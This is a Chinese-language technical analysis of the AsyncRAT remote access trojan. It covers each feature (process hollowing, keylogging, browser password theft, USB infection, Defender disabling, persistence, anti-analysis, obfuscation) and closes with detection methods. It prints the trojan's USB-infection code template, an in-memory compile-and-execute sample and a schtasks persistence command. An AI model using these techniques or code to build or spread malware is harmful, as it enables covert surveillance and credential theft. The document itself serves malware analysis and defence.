AsyncRAT利用分析
0x01 簡(jiǎn)介
· AsyncRAT的優(yōu)點(diǎn)
· AsyncRAT的技術(shù)細(xì)節(jié)
· 檢測(cè)方法
0x02 AsyncRAT的優(yōu)點(diǎn)
AsyncRAT使用C Sharp開發(fā),應(yīng)用于Windows系統(tǒng),具有以下優(yōu)點(diǎn):
1. 支持從Pastebin.com讀取C2服務(wù)器的配置信息;
2. 支持內(nèi)存加載PE文件;
3. 支持動(dòng)態(tài)編譯并執(zhí)行C#或者VB代碼;
4. 支持U盤感染,能夠感染U盤中所有使用.NET開發(fā)的exe文件;
5. 支持自動(dòng)讀取Firefox和Chrome瀏覽器中保存的密碼;
6. 通過欺騙用戶點(diǎn)擊的方式繞過UAC進(jìn)行提權(quán);
7. 通過C#接口技術(shù),提高程序的擴(kuò)展性,在程序?qū)崿F(xiàn)上將每一個(gè)功能對(duì)應(yīng)一個(gè)類,編譯成dll文件,在需要加載的時(shí)候,由Server發(fā)送至Client,Client通過Activator.CreateInstance將類實(shí)例化,進(jìn)而調(diào)用類的方法。
0x03 AsyncRAT的技術(shù)細(xì)節(jié)
本節(jié)按照AsyncRAT控制面板上的功能逐個(gè)進(jìn)行分析,如下圖:
1.SendFile
(1)ToMemory
內(nèi)存加載exe文件,支持以下兩種類型:
· Reflection
· 使用Assembly.Load加載C#程序
更多細(xì)節(jié)可參考之前的文章《從內(nèi)存加載.NET程序集(Assembly.Load)的利用分析》。
· RunPE
· 通過替換進(jìn)程內(nèi)存的方式加載exe文件
可選擇以下程序作為被注入的程序:
· aspnet_compiler.exe
· RegAsm.exe
· MSBuild.exe
· RegSvcs.exe
· vbc.exe
注:
· 以上5個(gè)exe文件位于Microsoft.NET Framework的安裝目錄,同AsyncClient.exe的位數(shù)保持一致
· 使用32位的AsyncClient.exe反彈回的Session,默認(rèn)會(huì)尋找32位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319
· 使用64位的AsyncClient.exe反彈回的Session,默認(rèn)會(huì)尋找64位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319
· RunPE操作將啟動(dòng)以上5個(gè)exe文件中的一個(gè),通過ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread實(shí)現(xiàn)對(duì)進(jìn)程內(nèi)存的修改,替換成要加載的exe文件
· 這里需要注意要加載的exe文件需要同AsyncClient.exe的位數(shù)保持一致
· 使用32位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載32位的exe文件
· 使用64位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載64位的exe文件
更多細(xì)節(jié)可參考之前的文章《傀儡進(jìn)程的實(shí)現(xiàn)與檢測(cè)》
(2)ToDisk
將exe文件上傳到目標(biāo)主機(jī)的%Temp%目錄,重命名為隨機(jī)字符串,再使用Powershell啟動(dòng)exe文件,執(zhí)行后不會(huì)刪除%Temp%目錄下的exe文件。
2. Monitoring
(1)Remote Desktop
· 監(jiān)控屏幕,實(shí)時(shí)獲得目標(biāo)桌面的內(nèi)容(只能監(jiān)控,無法操作)
· 調(diào)用Graphics類的CopyFromScreen實(shí)現(xiàn)屏幕截圖
通過Python實(shí)現(xiàn)監(jiān)控屏幕的細(xì)節(jié)可參考之前的文章《Pupy利用分析——Windows平臺(tái)下的屏幕控制》。
(2)Keylogger
· 實(shí)時(shí)獲得目標(biāo)主機(jī)鍵盤輸入的消息和進(jìn)程名稱
· 通過hook的方式實(shí)現(xiàn)鍵盤記錄
(3)Password Recovery
· 獲得Firefox和Chrome瀏覽器中保存的密碼
技術(shù)細(xì)節(jié)可參考之前的文章《滲透技巧——導(dǎo)出Firefox瀏覽器中保存的密碼》和《滲透技巧——導(dǎo)出Chrome瀏覽器中保存的密碼》。
(4)File Manager
· 文件管理,還支持隱蔽安裝7zip和對(duì)文件的壓縮及解壓縮
隱蔽安裝7zip的方式:
· 在%Temp%目錄新建文件夾7-Zip,釋放文件7z.exe和7z.dll
(5)Process Manager
· 進(jìn)程管理,支持查看進(jìn)程和關(guān)閉進(jìn)程
(6)Report Window
· 監(jiān)控重要進(jìn)程,當(dāng)目標(biāo)主機(jī)上運(yùn)行指定進(jìn)程時(shí),控制端彈出提示消息
(7)Webcam
· 開啟攝像頭
3.Miscellaneous
(1)Bots Killer
清除自身進(jìn)程在注冊(cè)表HKLM和HKCU下\Software\Microsoft\Windows\CurrentVersion\Run和Software\Microsoft\Windows\CurrentVersion\RunOnce保存的項(xiàng)。
(2)USB Spread
1. 當(dāng)目標(biāo)主機(jī)連接U盤時(shí),感染U盤中的文件。
2. 將木馬客戶端復(fù)制到U盤中并隱藏,默認(rèn)保存的名稱為L(zhǎng)imeUSB.exe。
修改U盤中所有使用.NET開發(fā)的exe文件,通過CSharpCodeProvider改變程序運(yùn)行流程,添加以下代碼:
- using System;
- using System.Diagnostics;
- using System.Reflection;
- using System.Runtime.InteropServices;
- [assembly: AssemblyTrademark("%Lime%")]
- [assembly: Guid("%Guid%")]
- static class %LimeUSBModule%
- {
- public static void Main()
- {
- try
- {
- System.Diagnostics.Process.Start(@"%File%");
- }
- catch { }
- try
- {
- System.Diagnostics.Process.Start(@"%Payload%");
- }
- catch { }
- }
- }
用戶在啟動(dòng)正常文件的同時(shí)會(huì)隱蔽執(zhí)行U盤中的木馬客戶端。
(3)Seed Torrent
· 向目標(biāo)主機(jī)發(fā)送種子文件并下載
· 目標(biāo)主機(jī)需要安裝uTorrent或者BitTorrent
(4)Remote Shell
· 彈出一個(gè)交互式的cmd窗口
(5)DOS Attack
· 向指定域名持續(xù)發(fā)送HTTP數(shù)據(jù)包
(6)Execute .NET Code
· 在目標(biāo)主機(jī)上動(dòng)態(tài)編譯C#或者VB代碼并執(zhí)行
· 模板文件包含彈框和下載執(zhí)行的功能
我提取出了其中編譯C#代碼并執(zhí)行的功能,代碼示例如下:
- using System;
- using System.CodeDom;
- using System.CodeDom.Compiler;
- using System.Reflection;
- namespace CodeDomProviderTest
- {
- class Program
- {
- static void Main(string[] args)
- {
- string source = @"
- using System;
- using System.Windows.Forms;
- namespace AsyncRAT
- {
- public class Program
- {
- public static void Main(string[] args)
- {
- try
- {
- MessageBox.Show(""Hello World"");
- }
- catch { }
- }
- }
- }";
- CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");
- try
- {
- var compilerOptions = "/target:winexe /platform:anycpu /optimize-";
- var compilerParameters = new CompilerParameters();
- compilerParameters.ReferencedAssemblies.Add("system.dll");
- compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll");
- compilerParameters.GenerateExecutable = true;
- compilerParameters.GenerateInMemory = true;
- compilerParameters.CompilerOptions = compilerOptions;
- compilerParameters.TreatWarningsAsErrors = false;
- compilerParameters.IncludeDebugInformation = false;
- var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source);
- if (compilerResults.Errors.Count > 0)
- {
- foreach (CompilerError compilerError in compilerResults.Errors)
- {
- Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText,
- compilerError.Line, compilerError.Column, compilerError.FileName));
- break;
- }
- }
- else
- {
- Assembly assembly = compilerResults.CompiledAssembly;
- MethodInfo methodInfo = assembly.EntryPoint;
- object injObj = assembly.CreateInstance(methodInfo.Name);
- object[] parameters = new object[1];
- if (methodInfo.GetParameters().Length == 0)
- {
- parameters = null;
- }
- methodInfo.Invoke(injObj, parameters);
- }
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
- }
- }
(7)Files Searcher
· 搜索指定后綴名的文件并打包成zip文件
4.Extra
(1)Visit Website
· 啟動(dòng)默認(rèn)瀏覽器并訪問指定URL,界面不隱藏
(2)Send MessageBox
· 在目標(biāo)主機(jī)上彈出對(duì)話框
(3)Chat
· 在目標(biāo)主機(jī)上彈出對(duì)話框,實(shí)時(shí)顯示輸入的內(nèi)容
(4)Get Admin Privileges
1. 使用cmd.exe以Admin權(quán)限重新啟動(dòng)木馬客戶端,這個(gè)操作會(huì)在用戶桌面彈出UAC框,需要用戶選擇允許后才能運(yùn)行;
2. 如果用戶未選擇允許,會(huì)一直彈出UAC對(duì)話框;
3. UAC對(duì)話框的程序位置會(huì)暴露木馬客戶端的路徑;
4. 如果想要偽造一個(gè)更加可信的UAC對(duì)話框(不暴露程序位置)可以參考之前文章《A dirty way of tricking users to bypass UAC》中的思路。
(5)Blank Screen
Run功能:
通過WinAPI CreateDesktop()創(chuàng)建一個(gè)隨機(jī)名稱的虛擬桌面,內(nèi)容為空,當(dāng)切換到這個(gè)空的虛擬桌面時(shí),用戶無法對(duì)桌面進(jìn)行操作。
Stop功能:
通過WinAPI SwitchDesktop()切換到原來的桌面。
(6)Disable Windows Defender
· 通過修改注冊(cè)表的方式關(guān)閉Windows Defender,通常在Win10系統(tǒng)上使用
(7)Set Wallpaper
· 設(shè)置用戶的桌面
5.Server
· Block Clients
· 拒絕指定IP回連的木馬客戶端
6.Builder
(1)Connection
DNS:指定C2 Server的IP,可以設(shè)置多個(gè);
Port:指定C2 Server的端口,可以設(shè)置多個(gè);
Pastebin:從Pastebin.com讀取C2 Server的信息,包括DNS和Port。
內(nèi)容示例:
- 127.0.0.1:6606:7707:8808
(2)Install
1. 用作配置木馬客戶端自啟動(dòng)的功能;
2. 開啟這個(gè)功能后會(huì)將木馬客戶端復(fù)制到指定位置;
3. 文件名稱可以重新命名;
4. 文件路徑可選擇%AppData%或%Temp%目錄;
5. 當(dāng)木馬客戶端以普通用戶權(quán)限執(zhí)行時(shí),會(huì)在注冊(cè)表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加項(xiàng),以新的木馬客戶端名稱作為注冊(cè)表項(xiàng)的名稱,以新的木馬客戶端路徑作為注冊(cè)表項(xiàng)的數(shù)據(jù)。
當(dāng)木馬客戶端以管理員權(quán)限執(zhí)行時(shí),會(huì)使用schtasks命令創(chuàng)建計(jì)劃任務(wù),命令示例:
- schtasks /create /f /sc onlogon /rl highest /tn /tr
計(jì)劃任務(wù)的名稱為新的木馬客戶端名稱,會(huì)在用戶登錄時(shí)執(zhí)行計(jì)劃任務(wù)。
(3)Misc
Group:對(duì)木馬客戶端進(jìn)行分類;
Mutex:設(shè)置互斥量,避免木馬客戶端的重復(fù)啟動(dòng);
Anti Analysis:
包括以下功能:
· DetectManufacturer,通過WMI獲得系統(tǒng)信息(Select * from Win32_ComputerSystem),查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBox
· DetectDebugger,使用WinApi CheckRemoteDebuggerPresent()檢查是否為調(diào)試器
· DetectSandboxie,使用WinApi GetModuleHandle()檢查SbieDll.dll是否存在
· IsSmallDisk,檢查硬盤大小是否小于60Gb
· IsXP,檢查系統(tǒng)名稱是否包含字符xp
Process Critica:
將進(jìn)程設(shè)置為保護(hù)進(jìn)程,如果意外關(guān)閉了保護(hù)進(jìn)程,那么將導(dǎo)致BSOD。
更多細(xì)節(jié)可參考之前的文章《結(jié)束進(jìn)程導(dǎo)致BSOD的利用分析》。
Delay:延遲執(zhí)行的時(shí)間
(4)Assembly
· 可以手動(dòng)設(shè)置文件屬性,也可以復(fù)制指定文件的文件屬性
(5)Icon
· 設(shè)置文件圖標(biāo)
(6)Build
· Simple Obfuscator:通過重命名的方式實(shí)現(xiàn)簡(jiǎn)單的混淆
關(guān)鍵代碼:
- private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule)
- {
- ModuleDefMD module = inModule;
- IRenaming rnm = new NamespacesRenaming();
- module = rnm.Rename(module);
- rnm = new ClassesRenaming();
- module = rnm.Rename(module);
- rnm = new MethodsRenaming();
- module = rnm.Rename(module);
- rnm = new PropertiesRenaming();
- module = rnm.Rename(module);
- rnm = new FieldsRenaming();
- module = rnm.Rename(module);
- return module;
- }
- }
0x04 檢測(cè)方法
1.查找可疑文件
路徑:%AppData%和%Temp%目錄。
2.使用Autoruns檢查可疑的啟動(dòng)項(xiàng)
(1)注冊(cè)表位置
· HKLM\Software\Microsoft\Windows\CurrentVersion\Run
· HKCU\Software\Microsoft\Windows\CurrentVersion\Run
(2)計(jì)劃任務(wù)列表
3.后臺(tái)可疑進(jìn)程
· AsyncRAT的木馬客戶端只有exe文件一種形式,在運(yùn)行時(shí)會(huì)產(chǎn)生可疑的進(jìn)程
4.通信流量
· 查看可疑進(jìn)程對(duì)外通信流量
5.使用殺毒軟件
· 目前殺毒軟件均會(huì)對(duì)AsyncRAT進(jìn)行攔截
0x05 小結(jié)
本文在技術(shù)研究的角度分析AsyncRAT的技術(shù)細(xì)節(jié),介紹檢測(cè)方法。